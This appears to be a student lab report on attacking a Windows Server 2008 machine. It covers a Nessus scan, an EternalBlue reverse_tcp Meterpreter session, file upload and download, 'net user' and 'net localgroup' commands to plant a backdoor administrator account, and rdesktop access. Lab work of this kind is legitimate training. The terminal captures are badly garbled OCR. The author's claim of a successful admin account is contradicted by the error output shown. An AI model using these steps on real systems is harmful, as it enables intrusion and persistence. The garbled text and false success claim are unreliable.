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This is Nessus with the five critical security issues in the target Window Server 2008. This was
completed by using the advanced scan tool on the Nessus website. Once complete there were 1
host, 28 vulnerabilities, 2 remediations, 1 note, and 1 history.
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Out of the five critical vulnerabilities | choose MS14-066. This vulnerability did not have an
associated database but still could be potentially damaging.
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This is a security issue due to the improper processing of packets in the Schannel security
package. In the description, it states that this can be exploited by sending specially crafted
packets to a Windows server.
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This is a reverse_tcp exploit and payload that was launched using eternal blue with the use of a
listening port (LPORT) 30123.
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This is backgrounded the meterpreter sessions and displaying them with the command “sessions
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This is a screenshot of the target machine login screen. It is a little distorted but still visible and
can be updated in real-time if the command was run again.
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2017 0 dat.L0G2
2017 9 ni

b8o2

2. txt ckimbe2. txt

(100 : IMadeIT-ckimb@®2.txt -> IMadeIT-ckimbez.txt
txt IMad

\Users\Administrator

ified Nane

40777/ rwxrwx 4 14:16:09 -0400 AppData
40777/ WX rwxrwx 24 14 Application Data
49555 2 8-24 14:16 90 Contact
24 14:16 0400  Cooki
24 14 t
24 14:16 Documents
14:16:09 -0400 Downloads
09 -0400 Favorite:
52 -0400 IMadeIT
89 -840 Links
77/ v Local Settin
08 4 Music
08 09 -04 My Documents
09 -04 NTUSER. DAT
65:09 NTUSER.DAT{016! 6 11de-8d1d-601e0bcde3ec} . TH.bLf
09 -0400 R.DAT{ 11de-8d1d-601eBbcde3ec} . THContaine|
000000000000000001 . re s
10066 Y 4 04 16 c6f-11de-8d1d-001e8bcde3ec) . TMContaine)

0400 NetHood
o Picture
77/ WX PWX WX 2017-08 5 0460 PrintHood
40777/ ruxry 017-08 Recent
40555/r-xr 8 p y Saved G
5 0400 Searc
89 -04060 SendTo
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This is a file created by the kali machine and then sent using meterpreter. Then displayed on the
target machine.
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Jorkstation on CY301-CRIMB002

Applications »  Places v [ Terminal ~ Thu 2240

Terminal

Search Termina
100666/ 1 - 65 fil  2017-88 14:16 0400 ER.DAT{0' 6f-11de-8d1d-001edbcde3ect . TH.bLf
100666/rw-rw-rw- 524288 fil  2017-88-2 0400  NTUSER.DAT{B1/ 6¢6f-11de-8d1d-e01edbcde3ec} . THContaine|
ro00e0e00000000000001 . regtrans-ms
100666/ rw- rw-rw 2 fil  2017-08 09 -0400 NTUSER.DAT{016888bd-6c6f-11de-8d1d-001edbcde3ec). THContaine|
r00000000000000000002 . regtrans-ms
40777/ rWXrWwxrwx @ dir  2017-88-2 09 -0460 NetHood
Xr-x dir  2017-88 0400 Pictures
dir  2017-08 9 -0400 PrintHood
dir  2017-08 09 -0400 Recent
dir  2017-08 4 -0400 Saved Games
dir  2017-08-24 :13 -0400 Searche:
dir  2017- : 0400 SendTc
dir  2017-88 0400 Start Menu
dir  2017-08 6 0400 Templates
dir  2017-08 0400 Videos
262144 fil  2017- -0400 ntuser.dat.L0G1
100666/ rw- 0 fil  2017-08- -0460 ntuser.dat.L0G2
100! 20 fil 2017-88-2 0400 ntuser.ini

> cd Desktop

meterpreter > ls
Listing: C:\Users\Administrator\Desktop

Mode Size Type Last modifie Na

100666/ rw- rw-rw fil  2017-08-24 14:16:13 -0400 desktop.ini

meterpreter > upload TMadeIT-ckimbgo2.txt
uploading : IMadeIT-ckimbo t -> IMadeIT-ckimbge2. txt
Uploaded 28.00 B of 28.00 B (100.8%): IMadeIT-ckimb®2.txt -> IMadeIT-ckimb@2.txt
uploaded IMadeIT-ckimb0o2.txt -> IMadeIT-ckimboo2.txt
> download YouMadeIt.txt
stat: Operation failed: The system cannot find the file
> download YouMadeIt.txt
wnloading: YouMadeIt.txt -> YouMadeIt.txt
Downloaded 13.00 B of 13.60 B (100.0%): YouMadeIt.txt -> YouMadeIt.txt
download YouMadeIt.txt -> YouMadeIt.txt
seterpreter > |
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The above image is me downloading a file from the target machine, by using the download
command in meterpreter.

Task C Part 4
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“Attacker Kall - Extemnal Workstation on CY301-CR
Applications v Places ~ [ Terminal Thu22:44

Terminal

Search Terminal _Help
meterpreter
~C/-| Error running command ls: Interrupt
meterpreter > cd Desktop
dap Operation failed: The system cannot find the file specified
meterpreter > s
Process 1796 cre
Channel 2 created
Microsoft Win ion 6.1.7600]
yright 2 poration g erved.

Windows\system32>net user clarence password /add
net user clarence password /add
s not meet th ord policy requirements. Check the minimum password length, password complexit

requireme

More help

C:\Windows ocalgroup Administrator clarence /add
localgroup Administrator clarence /add
localgroup® is not recognized as an internal or external comma:

operable program or batch file

C:\Windows\systen32>net localgroup Administrator clarence /add

net oup Administrator clarence /add
System error 1376 has occurre

The specified local group d

C:\Windows\systen32>net localgroup administrators clarence /add
net localgroup administrators clarence /adc
There is no such global user or group: clarence

More help is available by typing NET HELPMSG 3783

C:\Windows\system
exit
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In the shell prompt, | was able to create a new user and make that user an admin. By doing this |
was able to have access to things without ever being on the target computer directly.
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Applications Places ~ [ rdesktop ~

rdesktop-192.

[

indows Server 2008
Standard

S PH B e = n B = @ & @ @Asigomentd-Ethica.  CYSE-ckimbO02@hab... (] CYSE 301 Assignment... D Snip & Sketch 7 62°F Mostyclear ~ & di & &M [

Using the rdesktop | can see the live target machine and use it as if | was there.



